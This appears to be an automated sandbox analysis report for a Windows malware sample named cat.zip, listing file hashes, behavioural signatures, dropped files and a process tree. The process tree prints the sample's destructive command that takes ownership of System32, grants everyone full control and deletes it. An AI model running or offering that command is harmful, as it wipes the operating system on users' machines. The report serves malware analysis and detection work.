Overview

overview

8

Static

static

3

cat.zip

windows10-2004-x64

8

Analysis

  • max time kernel
    134s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-07-2024 01:07

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    cat.zip

  • Size

    644KB

  • MD5

    f137a6ee919c567244118c2f3ccaecc1

  • SHA1

    f98d1602321c61964c5e8766c357ee433f7600b3

  • SHA256

    8b2a5914b58e7aa34800d26fcd7e1d9226b1b3a82769a2f4acd04f85fa5202c4

  • SHA512

    a15e475be9402a69881e5510c01cc27e792e1e0e0d78e7e26a406fd2346e08e13da520019ff4e3ea28f76567f3c2f91ab36ba0556556028e7813796e67144001

  • SSDEEP

    12288:P+d7le0w9JVuSb8EDvWtZEOW9ZMcsYpjxbgXUOxIglM1N9SzV1J/uFhAE:P8U0oJVuSAETWhPQxbuJluinG3

Score
8/10
discoveryexploit

Malware Config

Signatures

  • Possible privilege escalation attempt 2 IoCs
    exploit
  • Executes dropped EXE 1 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Drops file in System32 directory 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\explorer.exe
    explorer C:\Users\Admin\AppData\Local\Temp\cat.zip
    1⤵
      PID:996
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of SetWindowsHookEx
      PID:4456
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:4912
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k SDRSVC
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5112
      • C:\Users\Admin\Documents\cat\cat\cat.exe
        "C:\Users\Admin\Documents\cat\cat\cat.exe"
        1⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4260
        • C:\Windows\SYSTEM32\cmd.exe
          cmd /c takeown /f c:\windows\system32\* && icacls c:\windows\system32\* /grant Everyone:(F) && del/s/q c:\windows\system32
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5100
          • C:\Windows\system32\takeown.exe
            takeown /f c:\windows\system32\*
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            • Suspicious use of AdjustPrivilegeToken
            PID:768
          • C:\Windows\system32\icacls.exe
            icacls c:\windows\system32\* /grant Everyone:(F)
            3⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:3768

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\Documents\cat\cat\cat.exe
        Filesize

        2.3MB

        MD5

        7bb83f642e19be4f38fc567eb4d6ece6

        SHA1

        993a20a4ea64fdf22f01e06e3b99a9b02e77aeeb

        SHA256

        d063e6264af5bd254b494106d8fc6d2538887e06811608f3500084f9dd3668b2

        SHA512

        89343e33b549cb5330f2484f1ba695ac2b53c99be9863ff1c07b2f4b0c857b47ad56acc33555854e88fbff4328d715c830f149b469131953f172777b947bbd7e

        Download Submit

      • C:\Users\Admin\Documents\cat\cat\required\cat.ico
        Filesize

        228KB

        MD5

        27838147c5be2953d36aaa8ad1598a50

        SHA1

        20ef5952de9bfe8f593f5d5e886fa452a5c27789

        SHA256

        38f2ece988d2e8548939ee48a9026494c22efe841b10a3d62a948b0d86da6617

        SHA512

        5fa77ea68dd18f3330e20e3f7d6ae0e14a0b2b21e7e1f361a4560cca9598d89382a9012fd62281b8152184e6e183e39b21e4b5e25761c1605ba7f1cea5c0b5d7

        Download Submit

      • \??\c:\windows\system32\note.txt
        Filesize

        38B

        MD5

        aa1071551471e7674b6c66b5543a3f49

        SHA1

        8eeb8a04585187920570a3295132086f6bca08f8

        SHA256

        3b6c4e6705bd3411341c02d0ee95a73d0ec77e25f49715bc83161d642de4b455

        SHA512

        dff24ea9cc4864379930573a94a07ca5c5b9d0e3c50f4aca66bf3a15d7cc074a90969d0a3fabeb9bb3609d95b0eba1533cefcda7a457f6886f370b1cb2038020

        Download Submit

      • memory/4260-14-0x00007FF7EE5C0000-0x00007FF7EE8EC000-memory.dmp

        Filesize

        3.2MB

        Download

      • memory/4260-22-0x00007FF7EE5C0000-0x00007FF7EE8EC000-memory.dmp

        Filesize

        3.2MB

        Download